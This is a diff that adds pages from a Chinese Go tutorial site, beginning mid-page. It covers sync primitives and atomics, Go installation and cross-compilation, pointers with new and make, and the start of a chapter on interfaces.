func (rw *RWMutex) RLock()获取读锁
func (rw *RWMutex) RUnlock()释放读锁
func (rw *RWMutex) RLocker() Locker返回一个实现Locker接口的读写锁
+

读写锁分为两种:读锁和写锁。当一个 goroutine 获取到读锁之后,其他的 goroutine 如果是获取读锁会继续获得锁,如果是获取写锁就会等待;而当一个 goroutine 获取写锁之后,其他的 goroutine 无论是获取读锁还是写锁都会等待。

+

下面我们使用代码构造一个读多写少的场景,然后分别使用互斥锁和读写锁查看它们的性能差异。

+
var (
x int64
wg sync.WaitGroup
mutex sync.Mutex
rwMutex sync.RWMutex
)

// writeWithLock 使用互斥锁的写操作
func writeWithLock() {
mutex.Lock() // 加互斥锁
x = x + 1
time.Sleep(10 * time.Millisecond) // 假设读操作耗时10毫秒
mutex.Unlock() // 解互斥锁
wg.Done()
}

// readWithLock 使用互斥锁的读操作
func readWithLock() {
mutex.Lock() // 加互斥锁
time.Sleep(time.Millisecond) // 假设读操作耗时1毫秒
mutex.Unlock() // 释放互斥锁
wg.Done()
}

// writeWithLock 使用读写互斥锁的写操作
func writeWithRWLock() {
rwMutex.Lock() // 加写锁
x = x + 1
time.Sleep(10 * time.Millisecond) // 假设读操作耗时10毫秒
rwMutex.Unlock() // 释放写锁
wg.Done()
}

// readWithRWLock 使用读写互斥锁的读操作
func readWithRWLock() {
rwMutex.RLock() // 加读锁
time.Sleep(time.Millisecond) // 假设读操作耗时1毫秒
rwMutex.RUnlock() // 释放读锁
wg.Done()
}

func do(wf, rf func(), wc, rc int) {
start := time.Now()
// wc个并发写操作
for i := 0; i < wc; i++ {
wg.Add(1)
go wf()
}

// rc个并发读操作
for i := 0; i < rc; i++ {
wg.Add(1)
go rf()
}

wg.Wait()
cost := time.Since(start)
fmt.Printf("x:%v cost:%v\n", x, cost)

}
+

我们假设每一次读操作都会耗时1ms,而每一次写操作会耗时10ms,我们分别测试使用互斥锁和读写互斥锁执行10次并发写和1000次并发读的耗时数据。

+
// 使用互斥锁,10并发写,1000并发读
do(writeWithLock, readWithLock, 10, 1000) // x:10 cost:1.466500951s

// 使用读写互斥锁,10并发写,1000并发读
do(writeWithRWLock, readWithRWLock, 10, 1000) // x:10 cost:117.207592ms
+

从最终的执行结果可以看出,使用读写互斥锁在读多写少的场景下能够极大地提高程序的性能。不过需要注意的是如果一个程序中的读操作和写操作数量级差别不大,那么读写互斥锁的优势就发挥不出来。

+

sync.WaitGroup​

+

在代码中生硬的使用time.Sleep肯定是不合适的,Go语言中可以使用sync.WaitGroup来实现并发任务的同步。 sync.WaitGroup有以下几个方法:

+ + + + + + + + + + + + + + + + + + + + + +
方法名功能
func (wg * WaitGroup) Add(delta int)计数器+delta
(wg *WaitGroup) Done()计数器-1
(wg *WaitGroup) Wait()阻塞直到计数器变为0
+

sync.WaitGroup内部维护着一个计数器,计数器的值可以增加和减少。例如当我们启动了 N 个并发任务时,就将计数器值增加N。每个任务完成时通过调用 Done 方法将计数器减1。通过调用 Wait 来等待并发任务执行完,当计数器值为 0 时,表示所有并发任务已经完成。

+

我们利用sync.WaitGroup将上面的代码优化一下:

+
var wg sync.WaitGroup

func hello() {
defer wg.Done()
fmt.Println("Hello Goroutine!")
}
func main() {
wg.Add(1)
go hello() // 启动另外一个goroutine去执行hello函数
fmt.Println("main goroutine done!")
wg.Wait()
}
+

需要注意sync.WaitGroup是一个结构体,进行参数传递的时候要传递指针。

+

sync.Once​

+

在某些场景下我们需要确保某些操作即使在高并发的场景下也只会被执行一次,例如只加载一次配置文件等。

+

Go语言中的sync包中提供了一个针对只执行一次场景的解决方案——sync.Once,sync.Once只有一个Do方法,其签名如下:

+
func (o *Once) Do(f func())
+

**注意:**如果要执行的函数f需要传递参数就需要搭配闭包来使用。

+

加载配置文件示例​

+

延迟一个开销很大的初始化操作到真正用到它的时候再执行是一个很好的实践。因为预先初始化一个变量(比如在init函数中完成初始化)会增加程序的启动耗时,而且有可能实际执行过程中这个变量没有用上,那么这个初始化操作就不是必须要做的。我们来看一个例子:

+
var icons map[string]image.Image

func loadIcons() {
icons = map[string]image.Image{
"left": loadIcon("left.png"),
"up": loadIcon("up.png"),
"right": loadIcon("right.png"),
"down": loadIcon("down.png"),
}
}

// Icon 被多个goroutine调用时不是并发安全的
func Icon(name string) image.Image {
if icons == nil {
loadIcons()
}
return icons[name]
}
+

多个 goroutine 并发调用Icon函数时不是并发安全的,现代的编译器和CPU可能会在保证每个 goroutine 都满足串行一致的基础上自由地重排访问内存的顺序。loadIcons函数可能会被重排为以下结果:

+
func loadIcons() {
icons = make(map[string]image.Image)
icons["left"] = loadIcon("left.png")
icons["up"] = loadIcon("up.png")
icons["right"] = loadIcon("right.png")
icons["down"] = loadIcon("down.png")
}
+

在这种情况下就会出现即使判断了icons不是nil也不意味着变量初始化完成了。考虑到这种情况,我们能想到的办法就是添加互斥锁,保证初始化icons的时候不会被其他的 goroutine 操作,但是这样做又会引发性能问题。

+

使用sync.Once改造的示例代码如下:

+
var icons map[string]image.Image

var loadIconsOnce sync.Once

func loadIcons() {
icons = map[string]image.Image{
"left": loadIcon("left.png"),
"up": loadIcon("up.png"),
"right": loadIcon("right.png"),
"down": loadIcon("down.png"),
}
}

// Icon 是并发安全的
func Icon(name string) image.Image {
loadIconsOnce.Do(loadIcons)
return icons[name]
}
+

并发安全的单例模式​

+

下面是借助sync.Once实现的并发安全的单例模式:

+
package singleton

import (
"sync"
)

type singleton struct {}

var instance *singleton
var once sync.Once

func GetInstance() *singleton {
once.Do(func() {
instance = &singleton{}
})
return instance
}
+

sync.Once其实内部包含一个互斥锁和一个布尔值,互斥锁保证布尔值和数据的安全,而布尔值用来记录初始化是否完成。这样设计就能保证初始化操作的时候是并发安全的并且初始化操作也不会被执行多次。

+

sync.Map​

+

Go 语言中内置的 map 不是并发安全的,请看下面这段示例代码。

+
package main

import (
"fmt"
"strconv"
"sync"
)

var m = make(map[string]int)

func get(key string) int {
return m[key]
}

func set(key string, value int) {
m[key] = value
}

func main() {
wg := sync.WaitGroup{}
for i := 0; i < 10; i++ {
wg.Add(1)
go func(n int) {
key := strconv.Itoa(n)
set(key, n)
fmt.Printf("k=:%v,v:=%v\n", key, get(key))
wg.Done()
}(i)
}
wg.Wait()
}
+

将上面的代码编译后执行,会报出fatal error: concurrent map writes错误。我们不能在多个 goroutine 中并发对内置的 map 进行读写操作,否则会存在数据竞争问题。

+

像这种场景下就需要为 map 加锁来保证并发的安全性了,Go语言的sync包中提供了一个开箱即用的并发安全版 map——sync.Map。开箱即用表示其不用像内置的 map 一样使用 make 函数初始化就能直接使用。同时sync.Map内置了诸如Store、Load、LoadOrStore、Delete、Range等操作方法。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
方法名功能
func (m *Map) Store(key, value interface{})存储key-value数据
func (m *Map) Load(key interface{}) (value interface{}, ok bool)查询key对应的value
func (m *Map) LoadOrStore(key, value interface{}) (actual interface{}, loaded bool)查询或存储key对应的value
func (m *Map) LoadAndDelete(key interface{}) (value interface{}, loaded bool)查询并删除key
func (m *Map) Delete(key interface{})删除key
func (m *Map) Range(f func(key, value interface{}) bool)对map中的每个key-value依次调用f
+

下面的代码示例演示了并发读写sync.Map。

+
package main

import (
"fmt"
"strconv"
"sync"
)

// 并发安全的map
var m = sync.Map{}

func main() {
wg := sync.WaitGroup{}
// 对m执行20个并发的读写操作
for i := 0; i < 20; i++ {
wg.Add(1)
go func(n int) {
key := strconv.Itoa(n)
m.Store(key, n) // 存储key-value
value, _ := m.Load(key) // 根据key取值
fmt.Printf("k=:%v,v:=%v\n", key, value)
wg.Done()
}(i)
}
wg.Wait()
}
+

原子操作​

+

针对整数数据类型(int32、uint32、int64、uint64)我们还可以使用原子操作来保证并发安全,通常直接使用原子操作比使用锁操作效率更高。Go语言中原子操作由内置的标准库sync/atomic提供。

+

atomic包​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
方法解释
func LoadInt32(addr *int32) (val int32) func LoadInt64(addr *int64) (val int64) func LoadUint32(addr *uint32) (val uint32) func LoadUint64(addr *uint64) (val uint64) func LoadUintptr(addr *uintptr) (val uintptr) func LoadPointer(addr *unsafe.Pointer) (val unsafe.Pointer)读取操作
func StoreInt32(addr *int32, val int32) func StoreInt64(addr *int64, val int64) func StoreUint32(addr *uint32, val uint32) func StoreUint64(addr *uint64, val uint64) func StoreUintptr(addr *uintptr, val uintptr) func StorePointer(addr *unsafe.Pointer, val unsafe.Pointer)写入操作
func AddInt32(addr *int32, delta int32) (new int32) func AddInt64(addr *int64, delta int64) (new int64) func AddUint32(addr *uint32, delta uint32) (new uint32) func AddUint64(addr *uint64, delta uint64) (new uint64) func AddUintptr(addr *uintptr, delta uintptr) (new uintptr)修改操作
func SwapInt32(addr *int32, new int32) (old int32) func SwapInt64(addr *int64, new int64) (old int64) func SwapUint32(addr *uint32, new uint32) (old uint32) func SwapUint64(addr *uint64, new uint64) (old uint64) func SwapUintptr(addr *uintptr, new uintptr) (old uintptr) func SwapPointer(addr *unsafe.Pointer, new unsafe.Pointer) (old unsafe.Pointer)交换操作
func CompareAndSwapInt32(addr *int32, old, new int32) (swapped bool) func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool) func CompareAndSwapUint32(addr *uint32, old, new uint32) (swapped bool) func CompareAndSwapUint64(addr *uint64, old, new uint64) (swapped bool) func CompareAndSwapUintptr(addr *uintptr, old, new uintptr) (swapped bool) func CompareAndSwapPointer(addr *unsafe.Pointer, old, new unsafe.Pointer) (swapped bool)比较并交换操作
+

示例​

+

我们填写一个示例来比较下互斥锁和原子操作的性能。

+
package main

import (
"fmt"
"sync"
"sync/atomic"
"time"
)

type Counter interface {
Inc()
Load() int64
}

// 普通版
type CommonCounter struct {
counter int64
}

func (c CommonCounter) Inc() {
c.counter++
}

func (c CommonCounter) Load() int64 {
return c.counter
}

// 互斥锁版
type MutexCounter struct {
counter int64
lock sync.Mutex
}

func (m *MutexCounter) Inc() {
m.lock.Lock()
defer m.lock.Unlock()
m.counter++
}

func (m *MutexCounter) Load() int64 {
m.lock.Lock()
defer m.lock.Unlock()
return m.counter
}

// 原子操作版
type AtomicCounter struct {
counter int64
}

func (a *AtomicCounter) Inc() {
atomic.AddInt64(&a.counter, 1)
}

func (a *AtomicCounter) Load() int64 {
return atomic.LoadInt64(&a.counter)
}

func test(c Counter) {
var wg sync.WaitGroup
start := time.Now()
for i := 0; i < 1000; i++ {
wg.Add(1)
go func() {
c.Inc()
wg.Done()
}()
}
wg.Wait()
end := time.Now()
fmt.Println(c.Load(), end.Sub(start))
}

func main() {
c1 := CommonCounter{} // 非并发安全
test(c1)
c2 := MutexCounter{} // 使用互斥锁实现并发安全
test(&c2)
c3 := AtomicCounter{} // 并发安全且比互斥锁效率更高
test(&c3)
}
+

atomic包提供了底层的原子级内存操作,对于同步算法的实现很有用。这些函数必须谨慎地保证正确使用。除了某些特殊的底层应用,使用通道或者 sync 包的函数/类型实现同步更好。

+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-开发环境配置/index.html b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-开发环境配置/index.html new file mode 100644 index 0000000..a02ed38 --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-开发环境配置/index.html @@ -0,0 +1,134 @@ + + + + + +安装Go语言及搭建Go语言开发环境 | wjlin0 + + + + + + + +

安装Go语言及搭建Go语言开发环境

+

**注意:**Go语言1.14版本之后推荐使用go modules管理依赖,也不再需要把代码写在GOPATH目录下了,之前旧版本的教程戳这个链接。

+

下载​

+

下载地址​

+

Go官网下载地址:https://golang.org/dl/

+

Go官方镜像站(推荐):https://golang.google.cn/dl/

+

版本的选择​

+

Windows平台和Mac平台推荐下载可执行文件版,Linux平台下载压缩文件版。

+

下图中的版本号可能并不是最新的,但总体来说安装教程是类似的。Go语言更新迭代比较快,推荐使用较新版本,体验最新特性。

+

download1

+

安装​

+

Windows安装​

+

此安装实例以 64位Win10系统安装 Go1.14.1可执行文件版本为例。

+

将上一步选好的安装包下载到本地。

+

download2

+

双击下载好的文件,然后按照下图的步骤安装即可。

+

install01install02install03install04install05

+

Linux下安装​

+

如果不是要在Linux平台敲go代码就不需要在Linux平台安装Go,我们开发机上写好的go代码只需要跨平台编译(详见文章末尾的跨平台编译)好之后就可以拷贝到Linux服务器上运行了,这也是go程序跨平台易部署的优势。

+

我们在版本选择页面选择并下载好go1.14.1.linux-amd64.tar.gz文件:

+
wget https://dl.google.com/go/go1.14.1.linux-amd64.tar.gz
+

将下载好的文件解压到/usr/local目录下:

+
tar -zxvf go1.14.1.linux-amd64.tar.gz -C /usr/local  # 解压
+

如果提示没有权限,加上sudo以root用户的身份再运行。执行完就可以在/usr/local/下看到go目录了。

+

配置环境变量: Linux下有两个文件可以配置环境变量,其中/etc/profile是对所有用户生效的;$HOME/.profile是对当前用户生效的,根据自己的情况自行选择一个文件打开,添加如下两行代码,保存退出。

+
export GOROOT=/usr/local/go
export PATH=$PATH:$GOROOT/bin
+

修改/etc/profile后要重启生效,修改$HOME/.profile后使用source命令加载$HOME/.profile文件即可生效。 检查:

+
~ go version
go version go1.14.1 linux/amd64
+

Mac下安装​

+

下载可执行文件版,直接点击下一步安装即可,默认会将go安装到/usr/local/go目录下。Mac安装Go

+

检查​

+

上一步安装过程执行完毕后,可以打开终端窗口,输入go version命令,查看安装的Go版本。install06

+

GOROOT和GOPATH​

+

GOROOT和GOPATH都是环境变量,其中GOROOT是我们安装go开发包的路径,而从Go 1.8版本开始,Go开发包在安装完成后会为GOPATH设置一个默认目录,并且在Go1.14及之后的版本中启用了Go Module模式之后,不一定非要将代码写到GOPATH目录下,所以也就不需要我们再自己配置GOPATH了,使用默认的即可。

+

想要查看你电脑上的GOPATH路径,只需要打开终端输入以下命令并回车:

+
go env
+

在终端输出的内容中找到GOPATH对应的具体路径。

+

GOPROXY 非常重要​

+

Go1.14版本之后,都推荐使用go mod模式来管理依赖环境了,也不再强制我们把代码必须写在GOPATH下面的src目录了,你可以在你电脑的任意位置编写go代码。(网上有些教程适用于1.11版本之前。)

+

默认GoPROXY配置是:GOPROXY=https://proxy.golang.org,direct,由于国内访问不到https://proxy.golang.org,所以我们需要换一个PROXY,这里推荐使用https://goproxy.io或https://goproxy.cn。

+

可以执行下面的命令修改GOPROXY:

+
go env -w GOPROXY=https://goproxy.cn,direct
+

Go开发编辑器​

+

Go采用的是UTF-8编码的文本文件存放源代码,理论上使用任何一款文本编辑器都可以做Go语言开发,这里推荐使用VS Code和Goland。 VS Code是微软开源的编辑器,而Goland是jetbrains出品的付费IDE。

+

我们这里使用VS Code 加插件做为go语言的开发工具。

+

VS Code介绍​

+

VS Code全称Visual Studio Code,是微软公司开源的一款免费现代化轻量级代码编辑器,支持几乎所有主流的开发语言的语法高亮、智能代码补全、自定义热键、括号匹配、代码片段、代码对比 Diff、GIT 等特性,支持插件扩展,支持 Win、Mac 以及 Linux平台。

+

虽然不如某些IDE功能强大,但是它添加Go扩展插件后已经足够胜任我们日常的Go开发。

+

下载与安装​

+

VS Code官方下载地址:https://code.visualstudio.com/Download

+

三大主流平台都支持,请根据自己的电脑平台选择对应的安装包。vscode_home双击下载好的安装文件,双击安装即可。

+

配置​

+

安装中文简体插件​

+

点击左侧菜单栏最后一项管理扩展,在搜索框中输入chinese ,选中结果列表第一项,点击install安装。

+

安装完毕后右下角会提示重启VS Code,重启之后你的VS Code就显示中文啦!安装简体中文插件VSCode主界面介绍:vscode_menu

+

安装go扩展​

+

现在我们要为我们的VS Code编辑器安装Go扩展插件,让它支持Go语言开发。安装go扩展图

+

第一个Go程序​

+

Hello World​

+

现在我们来创建第一个Go项目——hello。在我们桌面创建一个hello目录。

+

go mod init​

+

使用go module模式新建项目时,我们需要通过go mod init 项目名命令对项目进行初始化,该命令会在项目根目录下生成go.mod文件。例如,我们使用hello作为我们第一个Go项目的名称,执行如下命令。

+
go mod init hello
+

编写代码​

+

接下来在该目录中创建一个main.go文件:

+
package main  // 声明 main 包,表明当前是一个可执行程序

import "fmt" // 导入内置 fmt 包

func main(){ // main函数,是程序执行的入口
fmt.Println("Hello World!") // 在终端打印 Hello World!
}
+

非常重要!!! 如果此时VS Code右下角弹出提示让你安装插件,务必点 install all 进行安装。

+

这一步需要先执行完上面提到的go env -w GOPROXY=https://goproxy.cn,direct命令配置好GOPROXY。

+

编译​

+

go build命令表示将源代码编译成可执行文件。

+

在hello目录下执行:

+
go build
+

编译得到的可执行文件会保存在执行编译命令的当前目录下,如果是Windows平台会在当前目录下找到hello.exe可执行文件。

+

可在终端直接执行该hello.exe文件:

+
c:\desktop\hello>hello.exe
Hello World!
+

我们还可以使用-o参数来指定编译后得到的可执行文件的名字。

+
go build -o heiheihei.exe
+

Windows下VSCode切换cmd.exe作为默认终端​

+

如果你打开VS Code的终端界面出现如下图场景(注意观察红框圈中部分),那么你的VS Code此时正使用powershell作为默认终端:vscode shell配置1十分推荐你按照下面的步骤,选择cmd.exe作为默认的终端工具:vscode shell配置2此时,VS Code正上方中间位置会弹出如下界面,参照下图挪动鼠标使光标选中后缀为cmd.exe的那一个,然后点击鼠标左键。

+

最后重启VS Code中已经打开的终端或者直接重启VS Code就可以了。vscode shell配置3如果没有出现下拉三角,也没有关系,按下Ctrl+Shift+P,VS Code正上方会出现一个框,你按照下图输入shell,然后点击指定选项即可出现上面的界面了。vscode shell配置4

+

go run​

+

go run main.go也可以执行程序,该命令本质上是先在临时目录编译程序然后再执行。

+
+

如果你不清楚上方关于go run执行机制的描述,那么你最好今后都使用go build编译再执行。

+
+

go install​

+

go install表示安装的意思,它先编译源代码得到可执行文件,然后将可执行文件移动到GOPATH的bin目录下。因为我们把GOPATH下的bin目录添加到了环境变量中,所以我们就可以在任意地方直接执行可执行文件了。

+

跨平台编译​

+

默认我们go build的可执行文件都是当前操作系统可执行的文件,Go语言支持跨平台编译——在当前平台(例如Windows)下编译其他平台(例如Linux)的可执行文件。

+

Windows编译Linux可执行文件​

+

如果我想在Windows下编译一个Linux下可执行文件,那需要怎么做呢?只需要在编译时指定目标操作系统的平台和处理器架构即可。

+
+

注意:无论你在Windows电脑上使用VsCode编辑器还是Goland编辑器,都要注意你使用的终端类型,因为不同的终端下命令不一样!!!目前的Windows通常默认使用的是PowerShell终端。

+
+

如果你的Windows使用的是cmd,那么按如下方式指定环境变量。

+
SET CGO_ENABLED=0  // 禁用CGO
SET GOOS=linux // 目标平台是linux
SET GOARCH=amd64 // 目标处理器架构是amd64
+

如果你的Windows使用的是PowerShell终端,那么设置环境变量的语法为

+
$ENV:CGO_ENABLED=0
$ENV:GOOS="linux"
$ENV:GOARCH="amd64"
+

在你的Windows终端下执行完上述命令后,再执行下面的命令,得到的就是能够在Linux平台运行的可执行文件了。

+
go build
+

Windows编译Mac可执行文件​

+

Windows下编译Mac平台64位可执行程序:

+

cmd终端下执行:

+
SET CGO_ENABLED=0
SET GOOS=darwin
SET GOARCH=amd64
go build
+

PowerShell终端下执行:

+
$ENV:CGO_ENABLED=0
$ENV:GOOS="darwin"
$ENV:GOARCH="amd64"
go build
+

Mac编译Linux可执行文件​

+

Mac电脑编译得到Linux平台64位可执行程序:

+
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build
+

Mac编译Windows可执行文件​

+

Mac电脑编译得到Windows平台64位可执行程序:

+
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build
+

Linux编译Mac可执行文件​

+

Linux平台下编译Mac平台64位可执行程序:

+
CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build
+

Linux编译Windows可执行文件​

+

Linux平台下编译Windows平台64位可执行程序:

+
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build
+

现在,开启你的Go语言学习之旅吧。人生苦短,let’s Go.

+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-指针/index.html b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-指针/index.html new file mode 100644 index 0000000..7ae7341 --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-指针/index.html @@ -0,0 +1,73 @@ + + + + + +Go语言基础之指针 | wjlin0 + + + + + + + +

Go语言基础之指针

+

任何程序数据载入内存后,在内存都有他们的地址,这就是指针。而为了保存一个数据在内存中的地址,我们就需要指针变量。

+

比如,“永远不要高估自己”这句话是我的座右铭,我想把它写入程序中,程序一启动这句话是要加载到内存(假设内存地址0x123456),我在程序中把这段话赋值给变量A,把内存地址赋值给变量B。这时候变量B就是一个指针变量。通过变量A和变量B都能找到我的座右铭。

+

Go语言中的指针不能进行偏移和运算,因此Go语言中的指针操作非常简单,我们只需要记住两个符号:&(取地址)和*(根据地址取值)。

+

指针地址和指针类型​

+

每个变量在运行时都拥有一个地址,这个地址代表变量在内存中的位置。Go语言中使用&字符放在变量前面对变量进行“取地址”操作。 Go语言中的值类型(int、float、bool、string、array、struct)都有对应的指针类型,如:*int、*int64、*string等。

+

取变量指针的语法如下:

+
ptr := &v    // v的类型为T
+

其中:

+
    +
  • v:代表被取地址的变量,类型为T
  • +
  • ptr:用于接收地址的变量,ptr的类型就为*T,称做T的指针类型。*代表指针。
  • +
+

举个例子:

+
func main() {
a := 10
b := &a
fmt.Printf("a:%d ptr:%p\n", a, &a) // a:10 ptr:0xc00001a078
fmt.Printf("b:%p type:%T\n", b, b) // b:0xc00001a078 type:*int
fmt.Println(&b) // 0xc00000e018
}
+

我们来看一下b := &a的图示:取变量地址图示

+

指针取值​

+

在对普通变量使用&操作符取地址后会获得这个变量的指针,然后可以对指针使用*操作,也就是指针取值,代码如下。

+
func main() {
//指针取值
a := 10
b := &a // 取变量a的地址,将指针保存到b中
fmt.Printf("type of b:%T\n", b)
c := *b // 指针取值(根据指针去内存取值)
fmt.Printf("type of c:%T\n", c)
fmt.Printf("value of c:%v\n", c)
}
+

输出如下:

+
type of b:*int
type of c:int
value of c:10
+

总结: 取地址操作符&和取值操作符*是一对互补操作符,&取出地址,*根据地址取出地址指向的值。

+

变量、指针地址、指针变量、取地址、取值的相互关系和特性如下:

+
    +
  • 对变量进行取地址(&)操作,可以获得这个变量的指针变量。
  • +
  • 指针变量的值是指针地址。
  • +
  • 对指针变量进行取值(*)操作,可以获得指针变量指向的原变量的值。
  • +
+

指针传值示例:

+
func modify1(x int) {
x = 100
}

func modify2(x *int) {
*x = 100
}

func main() {
a := 10
modify1(a)
fmt.Println(a) // 10
modify2(&a)
fmt.Println(a) // 100
}
+

new和make​

+

我们先来看一个例子:

+
func main() {
var a *int
*a = 100
fmt.Println(*a)

var b map[string]int
b["沙河娜扎"] = 100
fmt.Println(b)
}
+

执行上面的代码会引发panic,为什么呢? 在Go语言中对于引用类型的变量,我们在使用的时候不仅要声明它,还要为它分配内存空间,否则我们的值就没办法存储。而对于值类型的声明不需要分配内存空间,是因为它们在声明的时候已经默认分配好了内存空间。要分配内存,就引出来今天的new和make。 Go语言中new和make是内建的两个函数,主要用来分配内存。

+

new​

+

new是一个内置的函数,它的函数签名如下:

+
func new(Type) *Type
+

其中,

+
    +
  • Type表示类型,new函数只接受一个参数,这个参数是一个类型
  • +
  • *Type表示类型指针,new函数返回一个指向该类型内存地址的指针。
  • +
+

new函数不太常用,使用new函数得到的是一个类型的指针,并且该指针对应的值为该类型的零值。举个例子:

+
func main() {
a := new(int)
b := new(bool)
fmt.Printf("%T\n", a) // *int
fmt.Printf("%T\n", b) // *bool
fmt.Println(*a) // 0
fmt.Println(*b) // false
}
+

本节开始的示例代码中var a *int只是声明了一个指针变量a但是没有初始化,指针作为引用类型需要初始化后才会拥有内存空间,才可以给它赋值。应该按照如下方式使用内置的new函数对a进行初始化之后就可以正常对其赋值了:

+
func main() {
var a *int
a = new(int)
*a = 10
fmt.Println(*a)
}
+

make​

+

make也是用于内存分配的,区别于new,它只用于slice、map以及channel的内存创建,而且它返回的类型就是这三个类型本身,而不是他们的指针类型,因为这三种类型就是引用类型,所以就没有必要返回他们的指针了。make函数的函数签名如下:

+
func make(t Type, size ...IntegerType) Type
+

make函数是无可替代的,我们在使用slice、map以及channel的时候,都需要使用make进行初始化,然后才可以对它们进行操作。这个我们在上一章中都有说明,关于channel我们会在后续的章节详细说明。

+

本节开始的示例中var b map[string]int只是声明变量b是一个map类型的变量,需要像下面的示例代码一样使用make函数进行初始化操作之后,才能对其进行键值对赋值:

+
func main() {
var b map[string]int
b = make(map[string]int, 10)
b["沙河娜扎"] = 100
fmt.Println(b)
}
+

new与make的区别​

+
    +
  1. 二者都是用来做内存分配的。
  2. +
  3. make只用于slice、map以及channel的初始化,返回的还是这三个引用类型本身;
  4. +
  5. 而new用于类型的内存分配,并且内存对应的值为类型零值,返回的是指向类型的指针。
  6. +
+ + \ No newline at end of file diff --git a/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-接口/index.html b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-接口/index.html new file mode 100644 index 0000000..b79ff7d --- /dev/null +++ b/docs/个人知识库/语言知识/Go/Go基础编程/GoLang-接口/index.html @@ -0,0 +1,202 @@ + + + + + +接口 | wjlin0 + + + + + + + +

接口

+

本章学习目标

+
    +
  • 了解为什么需要接口以及接口的特点
  • +
  • 掌握接口的声明和使用
  • +
  • 掌握接口值的概念
  • +
  • 掌握空接口的特点及其使用场景
  • +
+

在Go语言中接口(interface)是一种类型,一种抽象的类型。相较于之前章节中讲到的那些具体类型(字符串、切片、结构体等)更注重“我是谁”,接口类型更注重“我能做什么”的问题。接口类型就像是一种约定——概括了一种类型应该具备哪些方法,在Go语言中提倡使用面向接口的编程方式实现解耦。

+

接口类型​

+

接口是一种由程序员来定义的类型,一个接口类型就是一组方法的集合,它规定了需要实现的所有方法。

+

相较于使用结构体类型,当我们使用接口类型说明相比于它是什么更关心它能做什么。

+

接口的定义​

+

每个接口类型由任意个方法签名组成,接口的定义格式如下:

+
type 接口类型名 interface{
方法名1( 参数列表1 ) 返回值列表1
方法名2( 参数列表2 ) 返回值列表2
…
}
+

其中:

+
    +
  • 接口类型名:Go语言的接口在命名时,一般会在单词后面添加er,如有写操作的接口叫Writer,有关闭操作的接口叫closer等。接口名最好要能突出该接口的类型含义。
  • +
  • 方法名:当方法名首字母是大写且这个接口类型名首字母也是大写时,这个方法可以被接口所在的包(package)之外的代码访问。
  • +
  • 参数列表、返回值列表:参数列表和返回值列表中的参数变量名可以省略。
  • +
+

举个例子,定义一个包含Write方法的Writer接口。

+
type Writer interface{
Write([]byte) error
}
+

当你看到一个Writer接口类型的值时,你不知道它是什么,唯一知道的就是可以通过调用它的Write方法来做一些事情。

+

实现接口的条件​

+

接口就是规定了一个需要实现的方法列表,在 Go 语言中一个类型只要实现了接口中规定的所有方法,那么我们就称它实现了这个接口。

+

我们定义的Singer接口类型,它包含一个Sing方法。

+
// Singer 接口
type Singer interface {
Sing()
}
+

我们有一个Bird结构体类型如下。

+
type Bird struct {}
+

因为Singer接口只包含一个Sing方法,所以只需要给Bird结构体添加一个Sing方法就可以满足Singer接口的要求。

+
// Sing Bird类型的Sing方法
func (b Bird) Sing() {
fmt.Println("汪汪汪")
}
+

这样就称为Bird实现了Singer接口。

+

为什么要使用接口?​

+

现在假设我们的代码世界里有很多小动物,下面的代码片段定义了猫和狗,它们饿了都会叫。

+
package main

import "fmt"

type Cat struct{}

func (c Cat) Say() {
fmt.Println("喵喵喵~")
}

type Dog struct{}

func (d Dog) Say() {
fmt.Println("汪汪汪~")
}

func main() {
c := Cat{}
c.Say()
d := Dog{}
d.Say()
}
+

这个时候又跑来了一只羊,羊饿了也会发出叫声。

+
type Sheep struct{}

func (s Sheep) Say() {
fmt.Println("咩咩咩~")
}
+

我们接下来定义一个饿肚子的场景。

+
// MakeCatHungry 猫饿了会喵喵喵~
func MakeCatHungry(c Cat) {
c.Say()
}

// MakeSheepHungry 羊饿了会咩咩咩~
func MakeSheepHungry(s Sheep) {
s.Say()
}
+

接下来会有越来越多的小动物跑过来,我们的代码世界该怎么拓展呢?

+

在饿肚子这个场景下,我们可不可以把所有动物都当成一个“会叫的类型”来处理呢?当然可以!使用接口类型就可以实现这个目标。 我们的代码其实并不关心究竟是什么动物在叫,我们只是在代码中调用它的Say()方法,这就足够了。

+

我们可以约定一个Sayer类型,它必须实现一个Say()方法,只要饿肚子了,我们就调用Say()方法。

+
type Sayer interface {
Say()
}
+

然后我们定义一个通用的MakeHungry函数,接收Sayer类型的参数。

+
// MakeHungry 饿肚子了...
func MakeHungry(s Sayer) {
s.Say()
}
+

我们通过使用接口类型,把所有会叫的动物当成Sayer类型来处理,只要实现了Say()方法都能当成Sayer类型的变量来处理。

+
var c cat
MakeHungry(c)
var d dog
MakeHungry(d)
+

在电商系统中我们允许用户使用多种支付方式(支付宝支付、微信支付、银联支付等),我们的交易流程中可能不太在乎用户究竟使用什么支付方式,只要它能提供一个实现支付功能的Pay方法让调用方调用就可以了。

+

再比如我们需要在某个程序中添加一个将某些指标数据向外输出的功能,根据不同的需求可能要将数据输出到终端、写入到文件或者通过网络连接发送出去。在这个场景下我们可以不关注最终输出的目的地是什么,只需要它能提供一个Write方法让我们把内容写入就可以了。

+

Go语言中为了解决类似上面的问题引入了接口的概念,接口类型区别于我们之前章节中介绍的那些具体类型,让我们专注于该类型提供的方法,而不是类型本身。使用接口类型通常能够让我们写出更加通用和灵活的代码。

+

面向接口编程​

+

PHP、Java等语言中也有接口的概念,不过在PHP和Java语言中需要显式声明一个类实现了哪些接口,在Go语言中使用隐式声明的方式实现接口。只要一个类型实现了接口中规定的所有方法,那么它就实现了这个接口。

+

Go语言中的这种设计符合程序开发中抽象的一般规律,例如在下面的代码示例中,我们的电商系统最开始只设计了支付宝一种支付方式:

+
